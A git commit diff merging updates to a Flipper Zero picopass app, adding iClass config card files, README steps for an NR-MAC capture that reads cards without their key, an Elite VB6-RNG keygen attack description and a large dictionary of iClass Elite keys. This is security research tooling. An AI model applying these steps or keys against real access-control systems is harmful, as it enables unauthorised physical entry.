Просмотр исходного кода

Merge picopass from https://gitlab.com/bettse/picopass

Willy-JL 1 год назад
Родитель
Сommit
f651f7a4b0

+ 12 - 3
picopass/.catalog/README.md

@@ -34,9 +34,9 @@ There are some situations when the offline loclass may not find a key, such as:
 
 # NR-MAC read
 
-Due to the nature of how secure picopass works, it is possible to emulate some public fields from a card and capture the reader's response, which can be used to authenticate.  Two of the pieces involved in this are the NR and MAC.
+Due to the nature of how secure picopass works, it is possible to emulate some public fields from a card and capture the reader's response, which can be used to authenticate.  Two of the pieces involved in this are the NR and MAC.  This allows you to get a dump of the card, except for the key, even if you don't know the key.  For picopass in non-HID systems this can allow you to see what the data looks like.  For iClass SE the data is encrypted (SIO), but a friend with a HID SAM can decrypt it.
 
-These instructions are intended to be performed all at the same time.  If you use the card with the reader between Card Part 1 and Card Part 2, then Card Part 2 will fail.
+*These instructions are intended to be performed all at the same time.  If you use the card with the reader between Card Part 1 and Card Part 2, then Card Part 2 will fail.*
 
 ## Card Part 1
 
@@ -44,8 +44,9 @@ These instructions are intended to be performed all at the same time.  If you us
 2. Run _Read_ from the picopass main menu
 3. Get a "Read Failed" message
 4. Select the "Menu" option
-5. Select "Save Partial"
+5. Select "Save Partial"  (regardless if this card has been saved previously)
 6. Name file something you'll remember
+7. Immediately proceed to Reader Part
 
 ## Reader Part
 
@@ -54,10 +55,18 @@ These instructions are intended to be performed all at the same time.  If you us
 3. Select _Emulate_
 4. Expose Flipper Zero to reader (It may work better a few inches from the reader, as opposed to physically touching)
 5. Flipper will buzz and screen will say "NR-MAC Saved!"
+6. Immediately proceed to Card Part 2
 
 ## Card Part 2
 
 1. Place card against Flipper Zero
 2. Run _Read_ from the picopass main menu
 3. Card will authenticate and read
+4. Suggested to both "Save" the card and "Save as Seader"
 
+
+# Elite Keygen Attack
+
+Background: https://youtu.be/MKSXSKQHz6o?si=DEKkW60x858pUI0a&t=600
+
+The keys used for early Elite systems used the VB6 (yes, as in Visual Basic) RNG to generate the keys.  This attack uses the known VB6 RNG to generate the keys.  This attack is only useful for early Elite systems, as later systems are keyed in some other manor.  Since this can generate an insanely large number of values (and eventually loop), by default it is limited to the first 2000 keys.  Please provide feedback if you would like this increased.  Also, the leaked iCopyX dictionary included 700ish of these, so the first 700 are redundant to the System Elite Dictionary attack run during "Read".  This attack is not useful for iClass SE systems.

+ 4 - 0
picopass/.catalog/changelog.md

@@ -1,3 +1,7 @@
+## 1.16
+ - Acknowledgements page
+ - Elite VB6 RNG keygen attack
+ - Bump plugin version
 ## 1.15
  - Add downgrade from iClass SR to iClass Legacy
 ## 1.14

+ 1 - 1
picopass/application.fam

@@ -14,7 +14,7 @@ App(
     ],
     stack_size=4 * 1024,
     fap_description="App to communicate with NFC tags using the PicoPass(iClass) format",
-    fap_version="1.15",
+    fap_version="1.16",
     fap_icon="125_10px.png",
     fap_category="NFC",
     fap_libs=["mbedtls"],

+ 22 - 0
picopass/config_cards/AV1.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AC 00 A8 8F A7 80 A9 01
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/AV2.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 87 18
+Block 7: AC 00 A8 1F A7 80 A9 01
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/AV3.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AC 00 A8 0F A9 03 A7 80
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/CSN1.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AC 01 A7 80 A8 9F A9 01
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/CSN2.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AC 02 A7 80 A8 9F A9 01
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/CSN3.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AC 03 A7 80 A8 9F A9 01
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/KP1.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AE 01 00 00 00 00 00 00
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/KP2.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AE 0B AF FF AD 15 B3 03
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/KP3.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 BF 18
+Block 7: AD 6D B3 03 00 00 00 00
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/KRD.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 0C 00 00 01 00 00 BF 18
+Block 7: BF 01 FF FF FF FF FF FF
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/KRE.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 0C 00 00 01 00 00 BF 18
+Block 7: BF 03 FF FF FF FF FF FF
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/RSTE.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 06 00 00 00 00 00 00 1C
+Block 7: FF FF FF FF 00 FF FF FF
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 22 - 0
picopass/config_cards/RSTR.picopass

@@ -0,0 +1,22 @@
+Filetype: Flipper Picopass device
+Version: 1
+Credential: 00 00 00 00 00 00 00 00
+# Picopass blocks
+Block 0: 6D C2 5B 15 FE FF 12 E0
+Block 1: 12 FF FF FF 7F 1F FF 3C
+Block 2: FF FF FF FF 05 FE FF FF
+Block 3: B2 45 35 54 FC 7F 41 48
+Block 4: FF FF FF FF FF FF FF FF
+Block 5: FF FF FF FF FF FF FF FF
+Block 6: 00 00 00 00 00 00 00 1C
+Block 7: 00 00 00 00 00 00 00 00
+Block 8: FF FF FF FF FF FF FF FF
+Block 9: FF FF FF FF FF FF FF FF
+Block 10: FF FF FF FF FF FF FF FF
+Block 11: FF FF FF FF FF FF FF FF
+Block 12: FF FF FF FF FF FF FF FF
+Block 13: FF FF FF FF FF FF FF FF
+Block 14: FF FF FF FF FF FF FF FF
+Block 15: FF FF FF FF FF FF FF FF
+Block 16: FF FF FF FF FF FF FF FF
+Block 17: FF FF FF FF FF FF FF FF

+ 17 - 0
picopass/config_cards/readme.txt

@@ -0,0 +1,17 @@
+# Legacy config cards
+
+Created by arnavoni and inspired by https://github.com/nfc-tools/nfc-iclass
+
+- [AV1]	Audio/Visual #1 - Beep ON LED Off Flash GREEN on read
+- [AV2]	Audio/Visual #2 - Beep ON LED RED Host must flash GREEN
+- [AV3]	Audio/Visual #3 - Beep ON LED Off Host must flash RED and/or GREEN
+- [KP1]	Keypad Output #1 - Buffer ONE key (8 bit Dorado)
+- [KP2]	Keypad Output #2 - Buffer ONE to FIVE keys (standard 26 bit)
+- [KP3]	Keypad Output #3 - Local PIN verify
+- [CSN1]	Mifare CSN #1 - 32 bit reverse output
+- [CSN2]	Mifare CSN #2 - 16 bit output
+- [CSN3]	Mifare CSN #3 - 34 bit output
+- [KRD]	Keyroll DISABLE - Set ELITE Key and DISABLE Keyrolling
+- [KRE]	Keyroll ENABLE - Set ELITE Key and ENABLE Keyrolling
+- [RSTR]	Reset READER - Reset READER to defaults
+- [RSTE]	Reset ENROLLER - Reset ENROLLER to defaults

+ 710 - 710
picopass/files/iclass_elite_dict.txt

@@ -42,771 +42,771 @@ C1B74D7478053AE2
 
 ## Pastebin keys (icopyx) https://pastebin.com/KWcu0ch6
 
-FB93B584A5064748
-0B361EDE24ED3625
-E49A2A1092A12148
-1CB2C054D0657700
+DD66EC6C67F210E7
+66EC6C67F210E785
+EC6C67F210E78530
+6C67F210E78530CB
+67F210E78530CB94
+F210E78530CB941F
+10E78530CB941FBD
+E78530CB941FBD59
+8530CB941FBD5993
+30CB941FBD599369
+CB941FBD59936949
+941FBD59936949B4
+1FBD59936949B4C1
+BD59936949B4C15B
+59936949B4C15B3F
+936949B4C15B3FAE
+6949B4C15B3FAE7F
+49B4C15B3FAE7F61
+B4C15B3FAE7F61A8
+C15B3FAE7F61A83D
+5B3FAE7F61A83DB6
+3FAE7F61A83DB655
+AE7F61A83DB6554C
+7F61A83DB6554C16
+61A83DB6554C1617
+A83DB6554C1617AA
+3DB6554C1617AA1B
+B6554C1617AA1B7D
+554C1617AA1B7DA8
+4C1617AA1B7DA8EA
+1617AA1B7DA8EACC
+17AA1B7DA8EACC5B
+AA1B7DA8EACC5B7C
+1B7DA8EACC5B7C62
+7DA8EACC5B7C62C4
+A8EACC5B7C62C491
+EACC5B7C62C491C1
+CC5B7C62C491C11B
+5B7C62C491C11B39
+7C62C491C11B398C
+62C491C11B398C00
+C491C11B398C000D
+91C11B398C000D97
+C11B398C000D9719
+1B398C000D9719A1
+398C000D9719A190
+8C000D9719A19023
+000D9719A190237B
+0D9719A190237BAE
+9719A190237BAE13
+19A190237BAE13DE
+A190237BAE13DEBB
+90237BAE13DEBBD8
+237BAE13DEBBD810
+7BAE13DEBBD810AC
+AE13DEBBD810AC40
+13DEBBD810AC40BF
+DEBBD810AC40BF3F
+BBD810AC40BF3FB5
+D810AC40BF3FB59F
+10AC40BF3FB59F6E
+AC40BF3FB59F6E0B
+40BF3FB59F6E0B0C
+BF3FB59F6E0B0CB4
+3FB59F6E0B0CB425
+B59F6E0B0CB42542
+9F6E0B0CB425428E
+6E0B0CB425428EF2
+0B0CB425428EF25C
+0CB425428EF25C10
+B425428EF25C100D
+25428EF25C100DF7
+428EF25C100DF704
+8EF25C100DF7042E
+F25C100DF7042EAE
+100DF7042EAE6410
+0DF7042EAE641057
+F7042EAE64105790
+042EAE64105790EB
+2EAE64105790EB34
+AE64105790EB34FC
+64105790EB34FCAF
+105790EB34FCAFA9
+5790EB34FCAFA9ED
+90EB34FCAFA9ED38
+EB34FCAFA9ED3807
+34FCAFA9ED3807B7
+FCAFA9ED3807B7C1
+AFA9ED3807B7C106
+A9ED3807B7C106FC
+ED3807B7C106FCFC
+3807B7C106FCFCC8
+07B7C106FCFCC8B2
+B7C106FCFCC8B2F9
+C106FCFCC8B2F945
+06FCFCC8B2F9456B
+FCFCC8B2F9456B8D
+FCC8B2F9456B8D58
+C8B2F9456B8D5897
+B2F9456B8D58976C
+F9456B8D58976CE5
+456B8D58976CE582
+6B8D58976CE582C3
+8D58976CE582C326
+58976CE582C32634
+976CE582C3263457
+6CE582C32634573C
+E582C32634573C17
+82C32634573C1798
+C32634573C1798D0
+2634573C1798D026
+34573C1798D0269B
+573C1798D0269B83
+3C1798D0269B83E2
+1798D0269B83E2AF
+98D0269B83E2AFFA
+D0269B83E2AFFAB4
+269B83E2AFFAB4A6
+9B83E2AFFAB4A6A2
+83E2AFFAB4A6A2A5
+E2AFFAB4A6A2A566
+AFFAB4A6A2A566B8
+FAB4A6A2A566B839
+B4A6A2A566B839BD
+A6A2A566B839BDC7
+A2A566B839BDC7DC
+A566B839BDC7DC33
+66B839BDC7DC33D5
+B839BDC7DC33D5AB
+39BDC7DC33D5ABE8
+BDC7DC33D5ABE827
+C7DC33D5ABE827F9
+DC33D5ABE827F982
+33D5ABE827F982DE
+D5ABE827F982DE18
+ABE827F982DE18EF
+E827F982DE18EF87
+27F982DE18EF8758
+F982DE18EF875849
+82DE18EF875849BC
+DE18EF875849BC3B
+18EF875849BC3B29
+EF875849BC3B2953
+875849BC3B29536A
+5849BC3B29536A12
+49BC3B29536A1241
+BC3B29536A124174
+3B29536A12417409
+29536A124174096C
+536A124174096CD1
+6A124174096CD12A
+124174096CD12AF4
+4174096CD12AF4C6
+74096CD12AF4C6B0
+096CD12AF4C6B001
+6CD12AF4C6B00155
+D12AF4C6B0015532
+2AF4C6B0015532FD
+F4C6B0015532FDA9
+C6B0015532FDA9EC
+B0015532FDA9EC04
+015532FDA9EC0406
+5532FDA9EC04064B
+32FDA9EC04064B0C
+FDA9EC04064B0CCF
+A9EC04064B0CCF69
+EC04064B0CCF691D
+04064B0CCF691DE6
+064B0CCF691DE690
+4B0CCF691DE69079
+0CCF691DE6907935
+CF691DE690793509
+691DE69079350928
 1DE69079350928E4
-5518848B2E911037
+E69079350928E49A
+9079350928E49A2A
+79350928E49A2A10
+350928E49A2A1092
+0928E49A2A1092A1
+28E49A2A1092A121
+E49A2A1092A12148
+9A2A1092A12148D0
+2A1092A12148D077
+1092A12148D07735
+92A12148D0773590
+A12148D0773590AD
+2148D0773590ADFA
+48D0773590ADFA99
+D0773590ADFA99DB
+773590ADFA99DBA4
+3590ADFA99DBA4CD
+90ADFA99DBA4CD36
+ADFA99DBA4CD3601
+FA99DBA4CD36017C
+99DBA4CD36017CAB
+DBA4CD36017CABAB
+A4CD36017CABABB4
+CD36017CABABB46D
+36017CABABB46DFB
+017CABABB46DFB93
+7CABABB46DFB93B5
+ABABB46DFB93B584
+ABB46DFB93B584A5
+B46DFB93B584A506
+6DFB93B584A50647
+FB93B584A5064748
+93B584A506474825
+B584A50647482562
+84A50647482562E4
+A50647482562E49E
+0647482562E49EDD
+47482562E49EDD4B
+482562E49EDD4B30
+2562E49EDD4B30EA
+62E49EDD4B30EAB0
+E49EDD4B30EAB0F0
+9EDD4B30EAB0F02B
+DD4B30EAB0F02B77
+4B30EAB0F02B77CC
+30EAB0F02B77CC90
+EAB0F02B77CC90AA
+B0F02B77CC90AA19
+F02B77CC90AA19C7
+2B77CC90AA19C73D
+77CC90AA19C73D08
+CC90AA19C73D0811
+90AA19C73D0811EE
+AA19C73D0811EEE1
+19C73D0811EEE119
+C73D0811EEE11930
+3D0811EEE11930DA
+0811EEE11930DA7E
+11EEE11930DA7E5F
+EEE11930DA7E5F3F
+E11930DA7E5F3F43
+1930DA7E5F3F43BA
+30DA7E5F3F43BA81
+DA7E5F3F43BA819F
+7E5F3F43BA819F19
+5F3F43BA819F199A
+3F43BA819F199AF8
+43BA819F199AF82D
+BA819F199AF82DD1
+819F199AF82DD18E
+9F199AF82DD18E0C
+199AF82DD18E0C68
+9AF82DD18E0C68FD
+F82DD18E0C68FDAE
+2DD18E0C68FDAEFF
+D18E0C68FDAEFFD6
+8E0C68FDAEFFD620
+0C68FDAEFFD62043
+68FDAEFFD6204388
+FDAEFFD6204388A3
+AEFFD6204388A3C0
+FFD6204388A3C089
 D6204388A3C08982
-DCD2EB1FB841DCDF
+204388A3C089828C
+4388A3C089828CBD
+88A3C089828CBDB3
+A3C089828CBDB3E6
+C089828CBDB3E6FB
+89828CBDB3E6FBE0
+828CBDB3E6FBE030
+8CBDB3E6FBE030F7
+BDB3E6FBE030F774
+B3E6FBE030F774B7
+E6FBE030F774B72D
+FBE030F774B72DBC
+E030F774B72DBC2F
+30F774B72DBC2FA1
+F774B72DBC2FA15B
+74B72DBC2FA15BB3
+B72DBC2FA15BB307
+2DBC2FA15BB30725
+BC2FA15BB30725F2
+2FA15BB30725F2C4
+A15BB30725F2C492
+5BB30725F2C49288
+B30725F2C49288F5
+0725F2C49288F574
+25F2C49288F57492
+F2C49288F574929E
+C49288F574929EB8
+9288F574929EB85B
+88F574929EB85B8C
+F574929EB85B8CE0
+74929EB85B8CE0A0
+929EB85B8CE0A0D8
+9EB85B8CE0A0D8B6
+B85B8CE0A0D8B6BF
+5B8CE0A0D8B6BF2B
+8CE0A0D8B6BF2B03
+E0A0D8B6BF2B0316
+A0D8B6BF2B031638
+D8B6BF2B03163830
+B6BF2B03163830E3
+BF2B03163830E3E9
+2B03163830E3E9A9
+03163830E3E9A967
+163830E3E9A967E1
+3830E3E9A967E142
+30E3E9A967E142E3
+E3E9A967E142E32B
+E9A967E142E32B7D
+A967E142E32B7DF3
+67E142E32B7DF380
+E142E32B7DF3807F
+42E32B7DF3807F40
+E32B7DF3807F40B0
+2B7DF3807F40B076
+7DF3807F40B07650
+F3807F40B07650F2
+807F40B07650F272
+7F40B07650F272ED
+40B07650F272EDF9
+B07650F272EDF90C
+7650F272EDF90C1A
+50F272EDF90C1A4E
+F272EDF90C1A4E0C
+72EDF90C1A4E0C70
+EDF90C1A4E0C7057
+F90C1A4E0C70579D
+0C1A4E0C70579D50
+1A4E0C70579D5058
+4E0C70579D5058C9
+0C70579D5058C908
+70579D5058C90806
+579D5058C908068D
+9D5058C908068D67
+5058C908068D67C0
+58C908068D67C071
+C908068D67C071D9
+08068D67C071D91E
+068D67C071D91E07
+8D67C071D91E0795
+67C071D91E0795BE
+C071D91E0795BEBA
+71D91E0795BEBA8A
+D91E0795BEBA8A3E
+1E0795BEBA8A3E68
+0795BEBA8A3E680A
+95BEBA8A3E680AF2
+BEBA8A3E680AF244
+BA8A3E680AF244E1
+8A3E680AF244E13F
+3E680AF244E13FB6
+680AF244E13FB60E
+0AF244E13FB60E84
+F244E13FB60E8496
+44E13FB60E849633
+E13FB60E84963355
+3FB60E84963355B4
+B60E84963355B437
+0E84963355B437FE
+84963355B437FE2A
+963355B437FE2ACD
+3355B437FE2ACD5C
+55B437FE2ACD5C79
+B437FE2ACD5C793B
+37FE2ACD5C793B5B
+FE2ACD5C793B5BB5
+2ACD5C793B5BB5A4
+CD5C793B5BB5A452
+5C793B5BB5A4528B
+793B5BB5A4528B0B
+3B5BB5A4528B0B36
+5BB5A4528B0B361E
+B5A4528B0B361EDE
+A4528B0B361EDE24
+528B0B361EDE24ED
+8B0B361EDE24ED36
+0B361EDE24ED3625
+361EDE24ED3625E8
+1EDE24ED3625E822
+DE24ED3625E8225B
+24ED3625E8225BA9
+ED3625E8225BA9C1
+3625E8225BA9C1A0
+25E8225BA9C1A0FD
+E8225BA9C1A0FDAA
+225BA9C1A0FDAA48
+5BA9C1A0FDAA48B6
+A9C1A0FDAA48B601
+C1A0FDAA48B6010B
+A0FDAA48B6010B1D
+FDAA48B6010B1D8B
+AA48B6010B1D8BC2
+48B6010B1D8BC24B
+B6010B1D8BC24B16
+010B1D8BC24B16B2
+0B1D8BC24B16B256
+1D8BC24B16B256B7
+8BC24B16B256B79D
+C24B16B256B79DFE
+4B16B256B79DFE12
+16B256B79DFE12DE
+B256B79DFE12DE53
+56B79DFE12DE5398
+B79DFE12DE539850
+9DFE12DE53985046
+FE12DE53985046F9
+12DE53985046F94E
+DE53985046F94E6F
+53985046F94E6F5D
+985046F94E6F5D91
+5046F94E6F5D912E
 46F94E6F5D912E1C
-239D50BF09D9125C
-7CABABB46DFB93B5
-29536A124174096C
+F94E6F5D912E1CB2
+4E6F5D912E1CB2C0
+6F5D912E1CB2C054
+5D912E1CB2C054D0
+912E1CB2C054D065
+2E1CB2C054D06577
+1CB2C054D0657700
+B2C054D06577009A
+C054D06577009ADC
+54D06577009ADCD2
+D06577009ADCD2EB
 6577009ADCD2EB1F
-199AF82DD18E0C68
 77009ADCD2EB1FB8
-6A121127DD422E07
+009ADCD2EB1FB841
+9ADCD2EB1FB841DC
+DCD2EB1FB841DCDF
+D2EB1FB841DCDF08
+EB1FB841DCDF08E5
+1FB841DCDF08E576
+B841DCDF08E576BA
+41DCDF08E576BABC
+DCDF08E576BABC3D
+DF08E576BABC3D54
+08E576BABC3D54B2
+E576BABC3D54B25C
+76BABC3D54B25C01
+BABC3D54B25C0158
+BC3D54B25C0158F2
+3D54B25C0158F2FA
+54B25C0158F2FA4E
+B25C0158F2FA4E3F
+5C0158F2FA4E3F0F
+0158F2FA4E3F0F64
+58F2FA4E3F0F6404
 F2FA4E3F0F640479
-55B437FE2ACD5C79
-FE12DE53985046F9
-E49EDD4B30EAB0F0
-A3C089828CBDB3E6
-62C491C11B398C00
+FA4E3F0F6404798F
+4E3F0F6404798F9F
